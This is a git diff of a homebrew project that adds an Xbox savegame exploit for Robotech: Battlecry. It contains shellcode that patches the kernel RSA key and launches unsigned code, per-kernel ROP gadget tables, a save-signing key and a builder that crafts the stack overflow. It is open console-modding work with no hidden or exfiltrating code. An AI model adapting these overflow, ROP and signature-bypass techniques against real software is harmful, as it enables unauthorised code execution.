diff --git a/.gitignore b/.gitignore index 5c5d107..86145de 100644 --- a/.gitignore +++ b/.gitignore @@ -3,9 +3,8 @@ *.elf *.o ernie -# wip shellcode -*.asm # output artifacts +savegame *.gci *.xsv *.xbx diff --git a/README.md b/README.md index 67f0b15..db93793 100644 --- a/README.md +++ b/README.md @@ -1,30 +1,60 @@ # robohaxx: stackcry -A savegame exploit / homebrew entrypoint for the game Robotech: Battlecry on the GameCube. +A savegame exploit / homebrew entrypoint for the game Robotech: Battlecry on the GameCube and Xbox. -Compatible with both USA and EUR revisions of the game. (Only USA has been tested on real GC hardware.) +Compatible with both USA and EUR revisions of the game, and all 7 retail Xbox kernels. (Untested) ["it's a stack overflow in the profile name on a 6th gen console game"](https://tenor.com/view/buzz-lightyear-factory-you-will-never-find-another-store-shelf-a-bunch-of-buzz-lightyears-gif-21719996) (Tenor GIF link) -## How to Use - -1. Copy the .gci file for your region from [the robohaxx releases page](https://github.com/InvoxiPlayGames/robohaxx/releases) +## How to Use (Xbox) + +1. Get the kernel version from your Xbox using the dashboard. + * Go to Settings -> System Info, then read the value that says **K** (e.g. K:1.00.**5530**.01, bold is the important part). + * *The part that says "D" is the dashboard version, and does not matter!* +2. Download the .zip file for your region and kernel version from [the robohaxx releases page](https://github.com/InvoxiPlayGames/robohaxx/releases/tag/release-xbox-1.0) + and extract the contents, then copy it to an Xbox formatted USB drive using a tool like Xplorer360. + * If using Rocky5's softmod tool, you also want to have the "Softmod Save" from [Rocky5's Xbox Softmodding Tool](https://github.com/Rocky5/Xbox-Softmodding-Tool/blob/master/README.md) + copied to the USB drive as well. This file is in the "Softmod Package" folder in the downloaded Xbox Softmodding Tool ZIP file. + * If not using the Rocky5 softmod tool, replace the "default.xbe" in the files you extracted with whatever you're using. +3. On the Xbox dashboard, connect your USB drive and copy the robohaxx savegame as well as the Xbox Softmodding Tool. + * Ensure there are **NO** other savegames for Robotech: Battlecry on the hard drive. + * While you're here, double check that the kernel version and region on the save file match your console. +4. Launch Robotech: Battlecry. +5. At the main menu, select the "Load Game" option. +6. After a few seconds, the Xbox Softmodding Tool (or anything else you decide to load) *should* load! + * The light on your Xbox will blink and change colour. This is expected and normal. + +## How to Use (GameCube) + +1. Copy the .gci file for your region from [the robohaxx releases page](https://github.com/InvoxiPlayGames/robohaxx/releases/tag/release-1.0) to your Memory Card using [GCMM](https://github.com/suloku/gcmm/releases). * While you're here, make sure you have the latest Swiss boot GCI, too. (Or any other boot.dol.) * Ensure there are **NO** other savegames for Robotech: Battlecry on the memory card. 2. Launch Robotech: Battlecry. 3. At the main menu, select the "Load Game" option. -4. Afetr a few seconds, Swiss (or any other homebrew) *should* load! +4. Aetfer a few seconds, Swiss (or any other homebrew) *should* load! ## Credits +### Xbox + +Thank you to [agarmash](https://github.com/agarmash) for the clean writeup on his [Frogger Beyond exploit](https://github.com/agarmash/FroggerBeyondExploit), +as well as assistance and motivation in building this, and the modified "ernie" shellcode. + +Thank you to the NKPatcher developer(s) for the base of the shellcode used in the exploit, and thanks to [Rocky5](https://github.com/Rocky5) +for the Xbox Softmodding Tool. + +Shoutouts to the helpful folks in the XboxDev Discord server for pointers and guidance in putting this together. + +### GameCube + Thank you to [FIX94](https://github.com/FIX94) for the gc-exploit-common-loader DOL loader, and for -example code for memory card loaders in other GC savegame exploits. +example code for memory card loaders in other GameCube savegame exploits. -Thanks to [Essem](https://github.com/TheEssem) for testing on real hardware, and being the inspiration behind this -[by just wanting a way to launch Swiss that isn't Animal Crossing.](https://wetdry.world/@esm/110792836912696997) +Thanks to [Essem](https://github.com/TheEssem) for testing on real GameCube hardware, and being the inspiration behind +this discovery [by just wanting a way to launch Swiss that isn't Animal Crossing.](https://wetdry.world/@esm/110792836912696997) -## Building from Source +## Building from Source (GameCube) The source has two components, the memory card loader and the GCI builder. The memory card loader will build if you have devkitPPC installed (although any powerpc-eabi GCC will work, change the Makefile). @@ -36,10 +66,42 @@ compile the GCI builder, and then build the robohaxx GCI savefiles. Type `make` If you only want to build for a specific region, type `make usa` or `make eur`. +## Building from Source (Xbox) + +The Xbox source consists of the modified "ernie" shellcode and the XSV builder. The ernie shellcode requires +the NASM assembler, while the XSV builder requires a C build system installed. + +First, open a Terminal **in the xbox_src directory.** To build the ernie shellcode, run `nasm ernie.asm`, and to +build the XSV builder, run `make`. It should build on macOS, Linux/WSL, and MingW64 on Windows. + +The resulting game.xsv file can be created by typing `./xsv_builder ernie E 5530`, replacing E with U if +targeting the USA version of the game, and 5530 with a supported target kernel version. If using another payload, +replace "ernie" with the filename, and if using a custom set of offsets, provide the filename in place of the +kernel version. + +Supported kernels are 3944, 4034, 4817, 5101, 5530, 5713 and 5838, which should cover all retail kernels. +Note that kernels 5530, 5713 and 5838 use the same ROP offsets - the output savegame will be identical. + +Additional support is left over for the unofficial 4627 debug kernel. Unsupported/unofficial/debug kernels can +be supported - if you use a tool such as ROPper to find offsets to identical gadgets in xboxkrnl.exe, you can +create a file containing the raw addresses in binary little-endian format according to this structure: + +```c +typedef struct _ROPStringGadgets { + uint32_t pop_eax__ret_4; // ("pop eax; ret 4;") + uint32_t pop_ecx__pop_ebx__ret_4; // ("pop ecx; pop ebx; ret 4;") + uint32_t xor_eax_ecx__ret; // ("xor eax, ecx; ret;") + uint32_t jmp_eax; // ("jmp eax;") +} ROPStringGadgets; +``` + ## License -The GameCube memory card loader and GCI builder are licensed under the GNU General Public License version 2. See attached +The memory card loader, GCI builder and XSV builder are licensed under the GNU General Public License version 2. See attached LICENSE file for more details. -The GameCube chain uses FIX94's [gc-exploit-common-loader](https://github.com/FIX94/gc-exploit-common-loader), also licensed +The GameCube chain uses FIX94's [gc-exploit-common-loader](https://github.com/FIX94/gc-exploit-common-loader), licensed under GPLv2. + +The Xbox chain uses a variation of [NKPatcher](https://github.com/Rocky5/Xbox-Softmodding-Tool/tree/master/App%20Sources/NKPatcher/Main%20NKP11)'s +shellcode in `ernie.asm`, licensed under GPLv2. If this attribution is incorrect, please get in touch. diff --git a/xbox_src/ernie.asm b/xbox_src/ernie.asm new file mode 100644 index 0000000..71ef30c --- /dev/null +++ b/xbox_src/ernie.asm @@ -0,0 +1,101 @@ +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; Modified ernie.asm shellcode for robohaxx +; Originally modified from: https://github.com/agarmash/FroggerBeyondExploit/blob/master/source/savefile.asm +; which was modified from https://github.com/Rocky5/Xbox-Softmodding-Tool/blob/master/App%20Sources/NKPatcher/Main%20NKP11/ernie.asm +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + BITS 32 +base: + mov ebp, eax ; Set the EBP to point to the beginning of the exploit (ROP chain makes eax the start address!) + cld ; Clear the Direction Flag so the string instructions increment the address + mov esi,80010000h ; Kernel base address + mov eax,[esi+3Ch] ; Value of e_lfanew (File address of new exe header) + mov ebx,[esi+eax+78h] ; Value of IMAGE_NT_HEADERS32 -> IMAGE_OPTIONAL_HEADER32 -> IMAGE_DATA_DIRECTORY -> ibo32 (Virtual Address) (0x02e0) + add ebx,esi + mov edx,[ebx+1Ch] ; Value of IMAGE_DIRECTORY_ENTRY_EXPORT -> AddressOfFunctions (0x0308) + add edx,esi ; Address of kernel export table + lea edi,[ebp+kexports-base] ; Address of the local kernel export table +getexports: + mov ecx,[edi] ; Load the entry from the local table + jecxz .done + sub ecx,[ebx+10h] ; Subtract the IMAGE_DIRECTORY_ENTRY_EXPORT -> Base + mov eax,[edx+4*ecx] ; Load the export by number from the kernel table + test eax,eax + jz .empty ; Skip if the export is empty + add eax,esi ; Add kernel base address to the export to construct a valid pointer +.empty: + stosd ; Save the value back to the local table and increment EDI by 4 + jmp getexports +.done: +blinkled: ; https://xboxdevwiki.net/PIC#The_LED + mov edi,[ebp+HalWriteSMBusValue-base] + push 0D7h ; Red-orange-green-orange LED sequence + push byte 0 + push byte 8 + push byte 20h + call edi + push byte 1 + push byte 0 + push byte 7 + push byte 20h + call edi +patchpublickey: + mov ebx,[ebp+XePublicKeyData-base] ; The structure and location of the RSA key hasn't been changed between the kernel versions, no need to search for anything + pushf ; Enter the critical section, more details here: + cli ; https://lkml.iu.edu/hypermail/linux/kernel/9703.0/0060.html + mov eax,cr0 + mov ecx, eax + and ecx,0FFFEFFFFh ; Clear the Write Protect bit + mov cr0,ecx + mov ecx, cr3 ; Invalidate TLB to defeat possible implicit caching. Done to make sure that no unpatched code is executed speculatively. + mov cr3, ecx ; See Intel Software Dev Manual Vol. 3A, 11.7 Implicit Caching + xor dword [ebx+110h],2DD78BD6h ; Alter the last 4 bytes of the public key + mov cr0, eax ; Restore the original value + wbinvd ; Flush the CPU caches + mov ecx, cr3 ; Invalidate TLB once again, just in case + mov cr3, ecx + popf ; Leave the critical section +launchxbe: ; Quite similar to https://github.com/XboxDev/OpenXDK/blob/master/src/hal/xbox.c#L36 + mov esi,[ebp+LaunchDataPage-base] ; https://xboxdevwiki.net/Kernel/LaunchDataPage + mov ebx,[esi] + mov edi,1000h + test ebx,ebx ; Check the LaunchDataPage pointer + jnz .memok ; Jump if it's not NULL + push edi + call dword [ebp+MmAllocateContiguousMemory-base] ; Otherwise, allocate a memory page + mov ebx,eax ; And store the pointer to the allocated page in EBX + mov [esi],eax ; Store the pointer back to the kernel as well +.memok: + push byte 1 + push edi + push ebx + call dword [ebp+MmPersistContiguousMemory-base] + + mov edi,ebx + xor eax,eax + mov ecx,400h + rep stosd ; Fill the whole LaunchDataPage memory page (4096 Bytes) with zeros + + or dword [ebx],byte -1 ; Set LaunchDataPage.launch_data_type to 0xFFFFFFFF + mov [ebx+4],eax ; Set LaunchDataPage.title_id to 0 + lea edi,[ebx+8] ; Copy the address of LaunchDataPage.launch_path string + lea esi,[ebp+xbestr-base] + push byte xbestrlen + pop ecx + rep movsb ; Copy the executable path to the LaunchDataPage.launch_path + push byte 2 ; 2 stands for ReturnFirmwareQuickReboot + call dword [ebp+HalReturnToFirmware-base] +.inf: + jmp short .inf + +kexports: +HalReturnToFirmware dd 49 +HalWriteSMBusValue dd 50 +LaunchDataPage dd 164 +MmAllocateContiguousMemory dd 165 +MmPersistContiguousMemory dd 178 +XePublicKeyData dd 355 + dd 0 +xbestr: + db '\Device\Harddisk0\Partition1\UDATA\544d0002\8DEDAC5BF7EA;default.xbe',0 +xbestrlen equ $-xbestr diff --git a/xbox_src/xsv_builder.c b/xbox_src/xsv_builder.c index a21fa4e..03a3cab 100644 --- a/xbox_src/xsv_builder.c +++ b/xbox_src/xsv_builder.c @@ -11,16 +11,16 @@ #define SAVEGAME_DATA_LENGTH 0x2048 // the length of the string before overriding eip is, theoretically, fair game to change whatever in -#define MAX_XOR_PAYLOAD_LENGTH 0x1FC +#define STRING_OVERFLOW_LENGTH 0x1FC // !! this entire datatype must not contain any NULL bytes !! typedef struct _RobohaxxOverflow_t { - char overflow[MAX_XOR_PAYLOAD_LENGTH]; - uint32_t eip_save; // the address of code to redirect to - uint32_t more_stack[8]; + char overflow[STRING_OVERFLOW_LENGTH]; + uint32_t ret_override; // the address of code to redirect to + uint32_t more_stack[8]; // stack for our rop chain } RobohaxxOverflow_t; -#define MAX_EXTRA_PAYLOAD_LENGTH SAVEGAME_DATA_LENGTH - 0x8 - sizeof(RobohaxxOverflow_t) +#define MAX_PAYLOAD_LENGTH SAVEGAME_DATA_LENGTH - 0x8 - sizeof(RobohaxxOverflow_t) // "structure" of the hacked save typedef struct _RobohaxxSave_t { @@ -30,27 +30,80 @@ typedef struct _RobohaxxSave_t { struct { uint8_t unk[0x8]; RobohaxxOverflow_t name; - uint8_t extra_payload[MAX_EXTRA_PAYLOAD_LENGTH]; // max save length + uint8_t payload[MAX_PAYLOAD_LENGTH]; // max save length } save; uint8_t save_bytes[SAVEGAME_DATA_LENGTH]; }; } RobohaxxSave_t; +// a structure of gadgets to build up our rop chain +typedef struct _ROPStringGadgets { + uint32_t pop_eax__ret_4; + uint32_t pop_ecx__pop_ebx__ret_4; + uint32_t xor_eax_ecx__ret; + uint32_t jmp_eax; +} ROPStringGadgets; + +// gadget address offsets for the 4627 debug kernel +static ROPStringGadgets gadgets_4627_debug = { + .pop_eax__ret_4 = 0x80041cb0, + .pop_ecx__pop_ebx__ret_4 = 0x8003e241, + .xor_eax_ecx__ret = 0x800199eb, + .jmp_eax = 0x8001bf2f +}; +// gadget address offsets for the 3944 retail kernel +static ROPStringGadgets gadgets_3944 = { + .pop_eax__ret_4 = 0x800238b9, + .pop_ecx__pop_ebx__ret_4 = 0x8002fba1, + .xor_eax_ecx__ret = 0x80013f6b, + .jmp_eax = 0x800155b7 +}; +// gadget address offsets for the 4034 retail kernel +static ROPStringGadgets gadgets_4034 = { + .pop_eax__ret_4 = 0x800238d9, + .pop_ecx__pop_ebx__ret_4 = 0x8002fba1, + .xor_eax_ecx__ret = 0x80013f6b, + .jmp_eax = 0x80010edb +}; +// gadget address offsets for the 4817 retail kernel +static ROPStringGadgets gadgets_4817 = { + .pop_eax__ret_4 = 0x80022619, + .pop_ecx__pop_ebx__ret_4 = 0x8002e981, + .xor_eax_ecx__ret = 0x80012c2b, + .jmp_eax = 0x80014277 +}; +// gadget address offsets for the 5101 retail kernel +static ROPStringGadgets gadgets_5101 = { + .pop_eax__ret_4 = 0x80022629, + .pop_ecx__pop_ebx__ret_4 = 0x8002e9c1, + .xor_eax_ecx__ret = 0x80012c3b, + .jmp_eax = 0x80014287 +}; +// gadget address offsets for the 5530, 5713 and 5838 retail kernels +static ROPStringGadgets gadgets_5530_5713_5838 = { + .pop_eax__ret_4 = 0x800227f0, + .pop_ecx__pop_ebx__ret_4 = 0x8002ecc9, + .xor_eax_ecx__ret = 0x80012bbb, + .jmp_eax = 0x80013c33 +}; + +// the selected gadget offsets +static ROPStringGadgets *gadgets = NULL; + // static address where the savegame gets loaded straight from the file into #define EUR_SAVEGAME_ADDRESS 0x0041E20C -#define USA_SAVEGAME_ADDRESS 0xE621E621 // TODO +#define USA_SAVEGAME_ADDRESS 0x003AF5CC static uint32_t savegame_address = 0; -// save file signature keys, generated from HMAC_SHA1(XboxSignatureKey, RobotechXBEKey)[0:16] +// save file signature key, generated from HMAC_SHA1(XboxSignatureKey, RobotechXBEKey)[0:16] #define SIG_KEY_LEN 0x10 -static const uint8_t game_sig_key_EUR[SIG_KEY_LEN] = { 0x82, 0xe1, 0x75, 0x30, 0x4a, 0x3f, 0x85, 0xc1, 0xd1, 0x85, 0xc1, 0x23, 0x25, 0xfb, 0x11, 0x0d }; -static const uint8_t game_sig_key_USA[SIG_KEY_LEN] = { 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41 }; // TODO -static const uint8_t *game_sig_key = NULL; +static const uint8_t game_sig_key[SIG_KEY_LEN] = { 0x82, 0xe1, 0x75, 0x30, 0x4a, 0x3f, 0x85, 0xc1, 0xd1, 0x85, 0xc1, 0x23, 0x25, 0xfb, 0x11, 0x0d }; static char *output_filename = "game.xsv"; static int print_usage(char *filename) { - printf("usage: %s [path to payload] [U/E] [optional output path, default game.xsv] [optional eip overwrite address]\n", filename); + printf("usage: %s [path to payload] [U/E] [kernel version or path to offsets] [optional output path, default game.xsv]\n", filename); + printf(" supported built-in kernel versions are 3944, 4034, 4817, 5101, 5530, 5713, 5838 and (debug) 4627\n"); return -1; } static int print_error(char *error) { @@ -66,21 +119,54 @@ static void hexdump(const uint8_t *data, const size_t len) { int main(int argc, char **argv) { printf("robohaxx game.xsv builder by InvoxiPlayGames\n" "https://github.com/InvoxiPlayGames/robohaxx\n\n"); - if (argc < 3) + if (argc < 4) return print_usage(argv[0]); // make sure the provided region is correct, and set the target address if (strlen(argv[2]) != 1) return print_error("argument too long to be a region"); - if (argv[2][0] == 'E' || argv[2][0] == 'e') { + if (argv[2][0] == 'E' || argv[2][0] == 'e') savegame_address = EUR_SAVEGAME_ADDRESS; - game_sig_key = game_sig_key_EUR; - } else if (argv[2][0] == 'U' || argv[2][0] == 'u') { + else if (argv[2][0] == 'U' || argv[2][0] == 'u') savegame_address = USA_SAVEGAME_ADDRESS; - game_sig_key = game_sig_key_USA; - } else + else return print_error("invalid region provided, must be E or U"); printf("savegame address: %08x\n", savegame_address); + + // load up the offsets + if (strcmp(argv[3], "4627") == 0) + gadgets = &gadgets_4627_debug; + else if (strcmp(argv[3], "3944") == 0) + gadgets = &gadgets_3944; + else if (strcmp(argv[3], "4034") == 0) + gadgets = &gadgets_4034; + else if (strcmp(argv[3], "4817") == 0) + gadgets = &gadgets_4817; + else if (strcmp(argv[3], "5101") == 0) + gadgets = &gadgets_5101; + else if (strcmp(argv[3], "5530") == 0 || + strcmp(argv[3], "5713") == 0 || + strcmp(argv[3], "5838") == 0) + gadgets = &gadgets_5530_5713_5838; + else { + gadgets = malloc(sizeof(ROPStringGadgets)); + if (gadgets == NULL) + return print_error("failed to allocate memory for gadget file"); + // open the gadget file and load it into memory + FILE *gadgets_fp = fopen(argv[3], "rb"); + if (gadgets_fp == NULL) + return print_error("gadgets file could not be opened"); + if (fread(gadgets, 1, sizeof(ROPStringGadgets), gadgets_fp) != sizeof(ROPStringGadgets)) + return print_error("gadgets file is not the correct size"); + fclose(gadgets_fp); + printf("loaded gadgets from %s\n", argv[3]); + } + + printf("using gadgets:\n"); + printf(" pop eax; ret 4; = 0x%08x\n", gadgets->pop_eax__ret_4); + printf(" pop ecx; pop ebx; ret 4; = 0x%08x\n", gadgets->pop_ecx__pop_ebx__ret_4); + printf(" xor eax, ecx; ret; = 0x%08x\n", gadgets->xor_eax_ecx__ret); + printf(" jmp eax; = 0x%08x\n", gadgets->jmp_eax); // read the payload file and get the filesize FILE *payload_fp = fopen(argv[1], "rb"); @@ -92,7 +178,7 @@ int main(int argc, char **argv) { printf("payload length: %li\n", payload_len); // we can't have this - if (payload_len > MAX_EXTRA_PAYLOAD_LENGTH || payload_len < 2) + if (payload_len > MAX_PAYLOAD_LENGTH || payload_len < 2) return print_error("payload is too large or short"); // allocate a buffer for the payload and read it @@ -110,32 +196,47 @@ int main(int argc, char **argv) { // whoops! all zeroes memset(save, 0, sizeof(RobohaxxSave_t)); - // fill in the string with nulls + uint32_t target_address = (savegame_address + 0x8 + sizeof(RobohaxxOverflow_t)); + printf("payload target address: %08x\n", target_address); + + // pad out the string and fill in the stack values with A's memset(save->save.name.overflow, 'A', sizeof(save->save.name.overflow)); - // set the instruction pointer to our code - // this doesn't actually work - the highest byte (a NULL) gets replaced with 0x0A because of the newline - // so we should really figure out how to make a ROP chain - // the rest of our string is kinda on the stack at the "esp" - save->save.name.eip_save = savegame_address + 0x8 + sizeof(RobohaxxOverflow_t); - if (argc >= 4) save->save.name.eip_save = strtol(argv[4], NULL, 0); - // set the values after this on the stack to our code - for (int i = 0; i < 8; i++) - save->save.name.more_stack[i] = savegame_address + 0x8 + sizeof(RobohaxxOverflow_t); - printf("eip save set to 0x%08x\n", save->save.name.eip_save); + memset(save->save.name.more_stack, 'A', sizeof(save->save.name.more_stack)); + + // value to XOR the payload target address with + static uint32_t xor_key = 0x367036ff; + + // build up our rop chain + // pop our xor'd payload address into eax + save->save.name.ret_override = gadgets->pop_eax__ret_4; + save->save.name.more_stack[0] = target_address ^ xor_key; + // pop our xor key into ecx and more_stack[4] into ebx + save->save.name.more_stack[1] = gadgets->pop_ecx__pop_ebx__ret_4; + save->save.name.more_stack[3] = xor_key; + // xor the address in eax with the key in ecx + save->save.name.more_stack[5] = gadgets->xor_eax_ecx__ret; // xor eax, ecx; ret; + // then jump to eax, now containing the payload + save->save.name.more_stack[7] = gadgets->jmp_eax; // jmp eax + + // run through our name and make sure there are no null bytes + uint8_t *ptr = (uint8_t *)&save->save.name; + for (int i = 0; i < sizeof(save->save.name); i++) + if (ptr[i] == 0x00) + return print_error("null bytes detected in stack overflow. :/"); // straight copy the payload to the extra data in the save - memcpy(save->save.extra_payload, payload, payload_len); + memcpy(save->save.payload, payload, payload_len); // set the length save->length = SAVEGAME_DATA_LENGTH; // prepare the xbox savegame signature HMAC_SHA1(game_sig_key, SIG_KEY_LEN, save->save_bytes, save->length, save->checksum); - printf("generated signature: "); + printf("savegame signature: "); hexdump(save->checksum, sizeof(save->checksum)); printf("\n"); - if (argc >= 4) output_filename = argv[3]; + if (argc >= 5) output_filename = argv[4]; printf("writing savegame to %s\n", output_filename);